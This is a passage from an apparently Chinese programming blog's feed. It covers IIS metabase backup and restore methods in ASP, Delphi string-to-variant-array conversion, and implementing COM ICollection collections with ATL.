<P><SPAN class=90V><FONT face=宋体><FONT size=2>下面的例子显示了这些属性的当前代码：<BR><BR>&lt;%<BR>Dim objComp<BR>' Creating the object<BR>Set objComp = GetObject("IIS://<I>MachineName</I>")<BR>' Gathering the information<BR>Response.Write "Max Bandwidth = " & objComp.Get("MaxBandwidth") & "&lt;br&gt;"<BR>Response.Write "Max Bandwidth Blocked = " & objComp.Get("MaxBandwidthBlocked") & "&lt;br&gt;"<BR>Response.Write "Mime Map List = " & objComp.Get("MimeMap") & "&lt;br&gt;"<BR>%&gt;<BR><BR></FONT><B><SPAN class=105V>IisComputer方法</SPAN></B><BR><BR></FONT><FONT face=宋体 size=2>除了上面所介绍的基本属性，<B>IisComputer</B>还提供四个方法协助管理metabase备份。这些方法使你能够长期存储备份的版本，从一个备份版本回复metabase，以及删除和列举备份。<BR><BR>这四个用于管理备份的方法是：</FONT></SPAN></P>
<TABLE borderColor=#808080 cellSpacing=1 width="100%" border=1>
<TBODY>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>方法</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>介绍</FONT></SPAN></B></P></TD></TR>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>Backup</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>将metabase存储到指定的备份位置。多个备份可以存储在一个单一为之中 。</FONT></SPAN></P></TD></TR>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>DeleteBackup</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>从一个指定的位置删除一个metabase备份。</FONT></SPAN></P></TD></TR>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>EnumBackup</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>从一个单一的，或多个位置列出备份。取还每个备份的位置，版本，和数据。</FONT></SPAN></P></TD></TR>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>Restore</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>从一个备份恢复metabase。</FONT></SPAN></P></TD></TR></TBODY></TABLE>
<P><SPAN class=90V><FONT face=宋体><B><SPAN class=105V>Backup方法</SPAN></B><BR><BR></FONT><FONT face=宋体><FONT size=2><B>Backup</B>用于将metabase存储到一个特定的位置。它只是为创建metabase备份设计的，而不是为将metabase复制到其他机器而设计的。备份必须恢复到创建它的机器上。下面是相应的语法并采用三个参数：<BR><BR><B>IIsObject.Backup</B> <I>BackupLocation, BackupVersion, BackupFlags</I> <BR><BR><I>BackupLocatio</I>标识备份位置。BackupLocation是一个最长可到100个字符的字符串。如果这个字符串是空的，这个备份奖被存储在缺省位置中。<BR><BR><I>BackupVersion</I>标识备份的版本号。这个参数必须小于或等于metabase属性MD_BACKUP_MAX_VERSION。它也可以被设置为其他metabase备份值，如MD_BACKUP_HIGHEST_VERSION或 MD_BACKUP_NEXT_VERSION。<BR><BR><I>BackupFlags</I>决定怎样执行备份，并且可能包含一个或多个如下的标志：MD_BACKUP_FORCE_BACKUP, MD_BACKUP_OVERWRITE, 和MD_BACKUP_SAVE_FIRST。<BR>下面的例子为使用<B>Backup</B>方法显示了一个合适的程序。<BR><BR>&lt;% <BR>Dim objComp<BR>Set objComp = GetObject("IIS://<I>MachineName</I>") <BR>' Backup to the next available version number and perform a SaveData operation before<BR>' backing up<BR>objComp.Backup "ThisBackup", MD_BACKUP_NEXT_VERSION, MD_BACKUP_SAVE_FIRST<BR>%&gt;<BR><BR>为了覆盖一个已有的备份，你可以利用如下例子：<BR><BR>Dim objComp, intFlags<BR>Set objComp = GetObject("IIS://<I>MachineName</I>") <BR>' Backup to the next available version number and perform a SaveData operation before<BR>' backing up<BR>' If a backup with the same version and name exists, overwrite it with this backup<BR>intFlags = (MD_BACKUP_SAVE_FIRST and MD_BACKUP_OVERWRITE)<BR>objComp.Backup "ThisBackup", intFlags<BR>%&gt;<BR><BR></FONT><B><SPAN class=105V>DeleteBackup 方法</SPAN></B><BR><BR></FONT><FONT face=宋体><FONT size=2><B>DeleteBackup</B>从指定位置删除一个备份。下面是相应的语法并取两个参数：<BR><BR><B>IIsObject.DeleteBackup</B> <I>BackupLocation, BackupVersion</I> <BR><BR><I>BackupLocation</I>标识备份的位置。BackupLocation是一个最长可到100个字符的字符串。如果这个字符串是空的，这个备份将被从缺省位置删除。<BR><BR><I>BackupVersion</I> 标识备份的版本号。这个参数必须小于或等于metabase属性MD_BACKUP_MAX_VERSION。它还可以被设置为metabase属性MD_BACKUP_HIGHEST_VERSION来删除最新的备份。<BR><BR>下面的例子为使用<B>DeleteBackup</B>方法删除大多数近期的备份显示了一个合适的程序。<BR><BR>&lt;% <BR>Dim objComp<BR>Set objComp = GetObject("IIS://<I>MachineName</I>") <BR>' Delete the most recent backup<BR>objComp.DeleteBackup "ThisBackup", MD_BACKUP_HIGHEST_VERSION<BR>%&gt; <BR><BR></FONT><B><SPAN class=105V>Restore 方法</SPAN></B><BR><BR></FONT><FONT face=宋体><FONT size=2><B>Restore</B>方法从一个备份恢复metabase。这个方法终止所有的服务，包括服务器，直到恢复完成为止。然后所有的服务都被重新启动。如果你要利用ASP恢复metabase，正如我们在本文中所要讨论的那样，确保你在一个机器上，而不是在你将要执行<B>Restore</B>方法的机器上。否则，你用来解析ASP的服务器将停止作用，恢复将失败。<BR><BR>下面是相应的语法。<B>Restore</B>采用三个参数。<BR><BR><B>IIsObject.Restore</B> <I>BackupLocation, BackupVersion, BackupFlags</I> <BR><BR><I>BackupLocation</I>标识备份位置。<I>BackupLocation</I>是一个最长可为100个子符的字符串。如果这个字符串是空的，这个备份将被从缺省位置删除。<BR><BR><I>BackupVersion</I>标识这个备份的版本号。这个参数必须小于或等于metabase属性MD_BACKUP_MAX_VERSION。它还可以被设置为metabase属性MD_BACKUP_HIGHEST_VERSION来恢复最新的备份。<BR><BR><I>BackupFlags</I>是一个保留参数。这个值必须是0。<BR><BR>下面的例子为利用<B>Restore</B>方法从metabase恢复最新备份显示了一个合适的程序。<BR><BR>&lt;% <BR>Dim objComp<BR>Set objComp = GetObject("IIS://<I>MachineName</I>") <BR>' Restore the most recent backup<BR>objComp.Restore "ThisBackup", MD_BACKUP_HIGHEST_VERSION, 0<BR>%&gt; <BR><BR></FONT><B><SPAN class=105V>EnumBackups方法</SPAN></B><BR><BR></FONT><FONT face=宋体 size=2>EnumBackups方法提供一个单一或多个位置中的所有备份的列举。它返回每个备份的位置，版本，和数据。下面是相应的语法并采用五个参数：<BR><BR><B>IIsComputer.EnumBackups</B> </FONT><FONT size=2><FONT face=宋体><I>BkupLocIn, IndexIn, BkupVerOut, BkupLocOut, BkupDateTimeOut <BR></I><BR>BkupLocIn标识备份位置。BkupLocIn是一个最长可为100个字符的字符串。如果这个字符串是空的，将会搜索所有的备份位置。<BR><BR><I>IndexIn</I>将备份的索引包含到列举中。从 0开始，每次增加1，直到返回MD_ERROR_DATA_NOT_FOUND。<BR><BR><I>BkupVerOut</I> 包含被列举的备份的版本号。<BR><BR><I>BkupLocOut</I> 包含被列举的悲愤的位置。<BR><BR><I>BkupDateTimeOut</I> 包含被列举的悲愤的日期和时间。这个值用于UTC (Universal Time Coordinate)中。<BR><BR>下面的例子显示了位于<I>MachineName</I>上的备份的一个简单的列表：<BR><BR>&lt;% <BR>Dim objComp, intIdx, intVer, strLoc, dtUtc<BR>Set objComp = GetObject("IIS://<I>MachineName</I>") <BR>' Set the index to the oldest backup<BR>intIdx = 0<BR>' Loop until an error is returned<BR>Do While True<BR>objComp.EnumBackups "", intIdx, intVer, strLoc, dtUtc<BR>If err.Number &lt;&gt; 0 Then<BR>Exit Do<BR>End If<BR>' List each backup<BR>Response.Write intIdx & ", " & intVer & ", " & strLoc & ", " & dtUtc & "&lt;br&gt;"<BR>intIdx = intIdx + 1<BR>Loop<BR>%&gt; <BR><BR>Windows 2000将会搭载ADSI将其安装在机器上，允许你利用这个技术而无须安装它。<BR><BR>系列中的下一篇文章着眼于使用两个主要的服务对象，<B>IIsWebService</B> 和 <B>IisFtpService</B>来创建并修改虚拟目录，用户，和工作组。</FONT></FONT><BR></SPAN></P>
<P><IMG height=5 src="http://www.microsoft.com/china/images/1ptrans.gif" width=120></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=205" /> 
	  <id>http://www.openx.cn/default.asp?id=205</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[String 和 VariantArray]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-24T16:04:31+08:00</updated>
	  <published>2006-01-24T16:04:31+08:00</published>
		  <summary type="html"><![CDATA[<P><FONT face=宋体 size=2>function StringToVariantArray(const S: string): OleVariant;<BR>var<BR>&nbsp; P: Pointer;<BR>begin<BR>&nbsp; Result := NULL;<BR>&nbsp; if Length(S) &gt; 0 then<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; Result := VarArrayCreate([0, Length(S) - 1], varByte);<BR>&nbsp;&nbsp;&nbsp; P := VarArrayLock(Result);<BR>&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Move(S[1], P^, Length(S));<BR>&nbsp;&nbsp;&nbsp; finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VarArrayUnlock(Result);<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;<BR>end;</FONT></P>
<P><FONT face=宋体 size=2>function VariantArrayToString(const V: OleVariant): string;<BR>var<BR>&nbsp; P: Pointer;<BR>&nbsp; Size: Integer;<BR>begin<BR>&nbsp; Result := '';<BR>&nbsp; if VarIsArray(V) and (VarType(V) and varTypeMask = varByte) then<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; Size := VarArrayHighBound(V, 1) - VarArrayLowBound(V, 1) + 1;<BR>&nbsp;&nbsp;&nbsp; if Size &gt; 0 then<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetLength(Result, Size);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; P := VarArrayLock(V);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Move(P^, Result[1], Size);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VarArrayUnlock(V);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;<BR>end;</FONT><BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=204" /> 
	  <id>http://www.openx.cn/default.asp?id=204</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[在COM中使用数组参数-ICollection]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-24T13:24:37+08:00</updated>
	  <published>2006-01-24T13:24:37+08:00</published>
		  <summary type="html"><![CDATA[<DIV>在COM中使用数组参数-ICollection</DIV>
<DIV>关键字：DCOM、数组、自定义类型、Marshal、SafeArray、ICollection</DIV>
<H1>1 &nbsp;&nbsp;&nbsp;&nbsp; 使用ICollection</H1>
<DIV>ICollection是从 IDispatch继承的接口。ICollection还需要一个IEnumVARIANT接口配合实现功能。IEnumVARIANT是从IUnknown继承的，而不是从IDispatch接口继承。</DIV>
<DIV>ICollection接口提供了最大的面向对象的设计灵活性和可重用性。在数组指针和SafeArray方法中，数组的每个元素必须事先计算出来，并且保存在特定的数据结构中。使用ICollection接口，可以设计出动态生成的数组，就是说数组的元素在需要的时候才进行计算，以便减少内存使用并加快处理速度。</DIV>
<H2>1.1&nbsp;&nbsp;&nbsp;&nbsp; ICollection和IEnumVARIANT</H2>
<DIV>ICollection接口用于定义数组对象，而IEnumVARIANT接口用于定义枚举对象。枚举对象的作用是按顺序读取数组元素，有时，通过枚举对象可以获得更高的效率。</DIV>
<DIV>ICollection和IEnumVARIANT的定义如下：</DIV>
<DIV>&nbsp;</DIV>
<DIV>interface ICollection : IDispatch</DIV>
<DIV>{</DIV>
<DIV>[propget, id(DISPID_LISTITEM)] HRESULT Item(</DIV>
<DIV>[in] const VARIANT varIndex,</DIV>
<DIV>[out, retval] VARIANT *pVal);</DIV>
<DIV>&nbsp;&nbsp;&nbsp; [propget, id(DISPID_LISTCOUNT)] HRESULT Count(</DIV>
<DIV>[out, retval] long *pVal);</DIV>
<DIV>[propget, id(DISPID_COLLCOUNT)] HRESULT length(</DIV>
<DIV>[out, retval] long *pVal);</DIV>
<DIV>[propget, id(DISPID_NEWENUM), restricted, hidden]</DIV>
<DIV>HRESULT _NewEnum([out, retval] IUnknown* *pVal);</DIV>
<DIV>&nbsp;&nbsp;&nbsp; ... // 其它方法或属性</DIV>
<DIV>};</DIV>
<DIV>&nbsp;</DIV>
<DIV>interface IEnumVARIANT : IUnknown</DIV>
<DIV>{</DIV>
<DIV>HRESULT Next(</DIV>
<DIV>unsigned long celt,</DIV>
<DIV>VARIANT * rgvar,</DIV>
<DIV>unsigned long * pceltFetched);</DIV>
<DIV>HRESULT Skip(unsigned long celt);</DIV>
<DIV>HRESULT Reset();</DIV>
<DIV>HRESULT Clone(IEnumVARIANT ** ppenum);</DIV>
<DIV>};</DIV>
<DIV>&nbsp;</DIV>
<DIV>有的时候，COM对象不但要实现数组功能，而且还要实现其它功能。所以，大多数时候，COM对象实现的接口是从ICollection继承来的。</DIV>
<DIV>通过ICollection操纵数组大体上有两种方法。一种是通过Item属性用数组下标取得元素。这种方式，每次只能取得一个元素，而且要传递下标对象，所以效率比较低下。另一种方法是通过枚举器。数组对象的枚举器通过_NewEnum属性取得。通过枚举器只能按顺序获取元素，但每次可以取得任意多的元素，所以效率较高。ICollection对象可以只实现其中的一种访问方法，也可以两种都实现。ICollection中还有一个重要属性：Count。Count属性返回数组的长度，对于无法确定长度的数组，也可以不实现Count属性。</DIV>
<DIV>IEnumVARIANT接口用于定义枚举器。枚举器用于顺序读取数组元素。通过Next方法，可以一次读取任意多的元素。由于枚举器只可以按顺序访问数组元素，所以Next方法不需要传递下标。Skip方法用于跳过若干元素，而不读取。Reset把当前元素设置到数组头，这样就可以重新开始枚举。Clone用于获得一个新的枚举器。两个枚举器可以互不干扰的工作。</DIV>
<DIV>要注意的事，可能有某些数组对象的实现方法使用不同的属性名称。实际上ICollection中的属性名称是不重要的，重要的是Dispatch ID。只要通过Dispatch ID就可以取得正确的属性。</DIV>
<H2>1.2&nbsp;&nbsp;&nbsp;&nbsp; 数组对象</H2>
<DIV>数组对象是实现了ICollection接口的COM对象。数组对象的使用者通过ICollection接口取得数组中的数据，而完全不需要知道数组的具体实现方式。这种设计的好处是使用数组的代码可以完全不理会数组的实现方法，而当数组的实现发生变化时，使用数组的代码可以在二进制代码上保持兼容，也就是说目标代码不用编译就可以使用。</DIV>
<DIV>最简单制作数组对象的方法是使用ATL的模板。CComEnumOnSTL模板用于生成实现IEnumVARIANT接口的枚举对象。当然，如果要实现数组对象的所有优点，最好自己编写数组对象的代码。</DIV>
<H2>1.3&nbsp;&nbsp;&nbsp;&nbsp; ICollection参数的IDL声明</H2>
<DIV>在IDL声明中。数组对象应该声明成IDispatch *。如果是输出或输入输出参数，则应该使用双重指针。</DIV>
<DIV>&nbsp;</DIV>
<DIV>[id(0)] GetNumber([out] IDispatch ** ppObj);</DIV>
<DIV>[id(1)] SetNumber([in] IDispatch * pObj);</DIV>
<DIV>&nbsp;</DIV>
<DIV>目前，我们看到的ICollection数组都是只读的。实际上ICollection完全可以设计成可读写的数组对象，只要把ICollection的Item属性设置成可读写的就可以了。关于可读写的ICollection对象请参考相关资料。</DIV>
<H2>1.4&nbsp;&nbsp;&nbsp;&nbsp; 通过ATL实现数组对象</H2>
<DIV>ATL通过两个模板实现对ICollection的支持。它们就是CComEnumOnSTL和ICollectionOnSTLImpl。CComEnumOnSTL用于实现基于STL对象的枚举器。ICollectionOnSTLImpl用于实现ICollection接口。下面详细描述这两个模板的功能和用法。</DIV>
<H3>1.4.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CComEnumOnSTL</H3>
<DIV>CComEnumOnSTL的定义如下：</DIV>
<DIV>&nbsp;</DIV>
<DIV>template &lt;class Base,</DIV>
<DIV>const IID* piid,</DIV>
<DIV>class T,</DIV>
<DIV>class Copy,</DIV>
<DIV>class CollType,</DIV>
<DIV>class ThreadModel = CComObjectThreadModel&gt;</DIV>
<DIV>class ATL_NO_VTABLE CComEnumOnSTL :</DIV>
<DIV>&nbsp;&nbsp; public IEnumOnSTLImpl&lt;Base, piid, T, Copy, CollType&gt;,</DIV>
<DIV>&nbsp;&nbsp; public CComObjectRootEx&lt; ThreadModel &gt;</DIV>
<DIV>&nbsp;</DIV>
<DIV>模板参数中，Base是枚举器所实现的接口，通常是IEnumVARIANT。piid是枚举器接口的IID，通常是IID_IEnumVARIANT。T是枚举器输出数值的类型，通常是VARIANT。Copy是复制类，用于将STL对象中的值转换成枚举器输出参数。CollType是用于存储数据的STL类型。ThreadModel是线程模式参数，可以是CComSingleThreadModel或CcomMultiThreadModel，缺省值是当前缺省的线程模式。</DIV>
<DIV>假设使用vector类保存数组元素。而vector参数是long型数据。可以通过以下方法实现枚举器。</DIV>
<H4>1.&nbsp; 定义CollType</H4>
<DIV>&nbsp;</DIV>
<DIV>typedef std::vector&lt;long&gt; CollType;</DIV>
<DIV>&nbsp;</DIV>
<H4>2.&nbsp; 定义Copy类</H4>
<DIV>Copy类用于在STL类的元素类型和枚举器类型之间进行参数转换。每个Copy类必须有三个静态函数：init、copy、destroy。Init用于初始化枚举器类、copy用于把STL元素复制到枚举器参数、destroy用于销毁枚举器参数。</DIV>
<DIV>下面是用于在long和VARIANT之间转换的Copy类实例。</DIV>
<DIV>&nbsp;</DIV>
<DIV>class CopyVariantLong</DIV>
<DIV>{</DIV>
<DIV>public:</DIV>
<DIV>static void init(VARIANT * p)</DIV>
<DIV>&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; VariantInit(p);</DIV>
<DIV>&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;</DIV>
<DIV>static HRESULT copy(VARIANT * pTo, const LONG * pFrom)</DIV>
<DIV>&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pTo-&gt;vt = VT_I4;</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pTo-&gt;lVal = *pFrom;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return S_OK;</DIV>
<DIV>&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;</DIV>
<DIV>static void destroy(VARIANT * p)</DIV>
<DIV>&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; VariantClear(p);</DIV>
<DIV>&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>};</DIV>
<DIV>&nbsp;</DIV>
<H4>3.&nbsp; 定义枚举器</H4>
<DIV>通过以上定义的类就可以方便的定义枚举器类型了。</DIV>
<DIV>&nbsp;</DIV>
<DIV>typedef CComEnumOnSTL&lt;IEnumVARIANT,</DIV>
<DIV>&IID_IEnumVARIANT,</DIV>
<DIV>VARIANT,</DIV>
<DIV>CopyVariantLong,</DIV>
<DIV>CollType&gt; EnumType;</DIV>
<DIV>&nbsp;</DIV>
<H3>1.4.2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ICollectionOnSTLImpl</H3>
<DIV>ICollectionOnSTLImpl用于帮助实现ICollection接口。ICollectionOnSTLImpl定义如下：</DIV>
<DIV>&nbsp;</DIV>
<DIV>template &lt;class T,</DIV>
<DIV>class CollType,</DIV>
<DIV>class ItemType,</DIV>
<DIV>class CopyItem,</DIV>
<DIV>class EnumType&gt;</DIV>
<DIV>class ICollectionOnSTLImpl : public T</DIV>
<DIV>&nbsp;</DIV>
<DIV>在ICollectionOnSTLImpl模板中，T是要实现的接口，一般会使用从ICollection继承的接口。CollType参数是用于保存数据的STL类型，这个类型应该和枚举器中的相同。ItemType是ICollection中Item属性的类型，一般是VARIANT。CopyItem是Item属性的Copy类，和枚举器中的Copy类是相同的。EnumType是枚举器的类型。</DIV>
<DIV>可以通过以下步骤实现ICollection接口。</DIV>
<H4>1.&nbsp; 定义ICollection类型</H4>
<DIV>&nbsp;</DIV>
<DIV>typedef ICollectionOnSTLImpl&lt;INumberCollection,</DIV>
<DIV>CollType,</DIV>
<DIV>VARIANT,</DIV>
<DIV>CopyVariantLong,</DIV>
<DIV>EnumType&gt; CollectionType;</DIV>
<DIV>&nbsp;</DIV>
<H4>2.&nbsp; 定义数组对象</H4>
<DIV>定义数组对象和定义普通ATL的COM对象是类似的。只要把IDispatchImpl中的接口参数(第一个参数)变成刚刚完成的ICollectionOnSTLImpl参数就可以了。</DIV>
<DIV>&nbsp;</DIV>
<DIV>class ATL_NO_VTABLE CNumberCollection : </DIV>
<DIV>&nbsp;&nbsp;&nbsp; public CComObjectRootEx&lt;CComSingleThreadModel&gt;,</DIV>
<DIV>&nbsp;&nbsp;&nbsp; public CComCoClass&lt;CNumberCollection, &CLSID_NumberCollection&gt;,</DIV>
<DIV>&nbsp;&nbsp;&nbsp; public IDispatchImpl&lt;CollectionType,</DIV>
<DIV>&IID_INumberCollection,</DIV>
<DIV>&LIBID_COLLECTIONOBJLib&gt;</DIV>
<DIV>{</DIV>
<DIV>&nbsp;&nbsp;&nbsp; ...</DIV>
<DIV>}</DIV>
<DIV>&nbsp;</DIV>
<H2>1.5&nbsp;&nbsp;&nbsp;&nbsp; 使用数组对象</H2>
<DIV>对于通用的ICollection对象，只能够通过IDispatch访问。也就是说通过IDispatch::Invoke方法访问数组中的元素。</DIV>
<DIV>另一方面，ICollection对象通常指通过VARIANT类型传递数据。所以，我们也必须了解如何访问VARIANT类型的变量。</DIV>
<H3>1.5.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 调用IDispatch</H3>
<DIV>IDispatch是Automation中定义的接口。通过IDispatch，COM客户可以取得接口中每个方法和属性的类型、参数和返回值等信息。通过IDispatch的Invoke方法，COM客户还可以直接调用接口中的方法和属性。IDispatch的内容非常丰富，这里不可能做全面地介绍，所以指对如何通过Invoke方法调用IDispatch做一个简单的说明。</DIV>
<H4>1.&nbsp; Invoke方法的定义</H4>
<DIV>&nbsp;</DIV>
<DIV>HRESULT Invoke( </DIV>
<DIV>DISPID dispIdMember,</DIV>
<DIV>REFIID riid,</DIV>
<DIV>LCID lcid,</DIV>
<DIV>WORD wFlags,</DIV>
<DIV>DISPPARAMS FAR* pDispParams,</DIV>
<DIV>VARIANT FAR* pVarResult,</DIV>
<DIV>EXCEPINFO FAR* pExcepInfo,</DIV>
<DIV>unsigned int FAR* puArgErr</DIV>
<DIV>);</DIV>
<DIV>&nbsp;</DIV>
<DIV>Invoke的参数如下：</DIV>
<DIV>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dispIdMember：所调用的属性或方法的dispatch id</DIV>
<DIV>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; riid：保留，必须是IID_NULL</DIV>
<DIV>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lcid：语言环境。一般使用LOCALE_THREAD_DEFAULT</DIV>
<DIV>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wFlags：可以是以下四个参数之一：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DISPATCH_METHOD方法调用<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DISPATCH_PROPERTYGET()读属性<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DISPATCH_PROPERTYPUT()写属性<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DISPATCH_PROPERTYPUTREF()通过引用写属性</DIV>
<DIV>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pDispParams：参数数组</DIV>
<DIV>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pVarResult：返回值</DIV>
<DIV>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pExcepInfo：被调用方法或属性内部异常(如果发生异常)</DIV>
<DIV>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; puArgErr：当返回DISP_E_PARAMNOTFOUND或DISP_E_TYPEMISMATCH时，返回出错的参数序号。</DIV>
<DIV>以下是使用Invoke的例子。下例返回一个dispatch id是DISPID_LISTCOUNT的简单参数，实际上就是数组的长度。</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp; VARIANT varResult;</DIV>
<DIV>&nbsp; DISPPARAMS DispParams;</DIV>
<DIV>&nbsp; EXCEPINFO excepInfo;</DIV>
<DIV>&nbsp; UINT errArg;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp; VariantInit(&varResult);</DIV>
<DIV>&nbsp; DispParams.cArgs = 0;</DIV>
<DIV>&nbsp; DispParams.cNamedArgs = 0;</DIV>
<DIV>&nbsp; DispParams.rgdispidNamedArgs = NULL;</DIV>
<DIV>&nbsp; DispParams.rgvarg = NULL;</DIV>
<DIV>&nbsp; hr = pObj-&gt;Invoke(</DIV>
<DIV>&nbsp; &nbsp; DISPID_LISTCOUNT,</DIV>
<DIV>&nbsp; &nbsp; IID_NULL,</DIV>
<DIV>&nbsp; &nbsp; LOCALE_USER_DEFAULT,</DIV>
<DIV>&nbsp; &nbsp; DISPATCH_PROPERTYGET,</DIV>
<DIV>&nbsp; &nbsp; &DispParams,</DIV>
<DIV>&nbsp; &nbsp; &varEnum,</DIV>
<DIV>&nbsp; &nbsp; &excepInfo,</DIV>
<DIV>&nbsp; &nbsp; &errArg);</DIV>
<DIV>&nbsp; if (FAILED(hr))</DIV>
<DIV>&nbsp; {</DIV>
<DIV>&nbsp; &nbsp; goto CleanUp;</DIV>
<DIV>&nbsp; }</DIV>
<DIV>&nbsp;</DIV>
<DIV>下例返回一个带参数的属性。</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp; VARIANT varIndex;</DIV>
<DIV>&nbsp; VARIANT varResult;</DIV>
<DIV>&nbsp; DISPPARAMS DispParams;</DIV>
<DIV>&nbsp; EXCEPINFO excepInfo;</DIV>
<DIV>&nbsp; UINT errArg;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp; VariantInit(&varIndex);</DIV>
<DIV>&nbsp; VariantInit(&varResult);</DIV>
<DIV>&nbsp; DispParams.cArgs = 1;</DIV>
<DIV>&nbsp; DispParams.cNamedArgs = 0;</DIV>
<DIV>&nbsp; DispParams.rgdispidNamedArgs = NULL;</DIV>
<DIV>&nbsp; DispParams.rgvarg = &varIndex;</DIV>
<DIV>&nbsp; VariantClear(&varIndex);</DIV>
<DIV>&nbsp; VariantClear(&varResult);</DIV>
<DIV>&nbsp; varIndex.vt = VT_I2;</DIV>
<DIV>&nbsp; varIndex.iVal = (short) Index;</DIV>
<DIV>&nbsp; hr = pObj-&gt;Invoke(</DIV>
<DIV>&nbsp; &nbsp; DISPID_LISTITEM,</DIV>
<DIV>&nbsp; &nbsp; IID_NULL,</DIV>
<DIV>&nbsp; &nbsp; LOCALE_USER_DEFAULT,</DIV>
<DIV>&nbsp; &nbsp; DISPATCH_PROPERTYGET,</DIV>
<DIV>&nbsp; &nbsp; &DispParams,</DIV>
<DIV>&nbsp; &nbsp; &varResult,</DIV>
<DIV>&nbsp; &nbsp; &excepInfo,</DIV>
<DIV>&nbsp; &nbsp; &errArg);</DIV>
<DIV>&nbsp; if (FAILED(hr))</DIV>
<DIV>&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp; ...</DIV>
<DIV>}</DIV>
<DIV>&nbsp;</DIV>
<H3>1.5.2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 使用IEnumVARIANT枚举数据</H3>
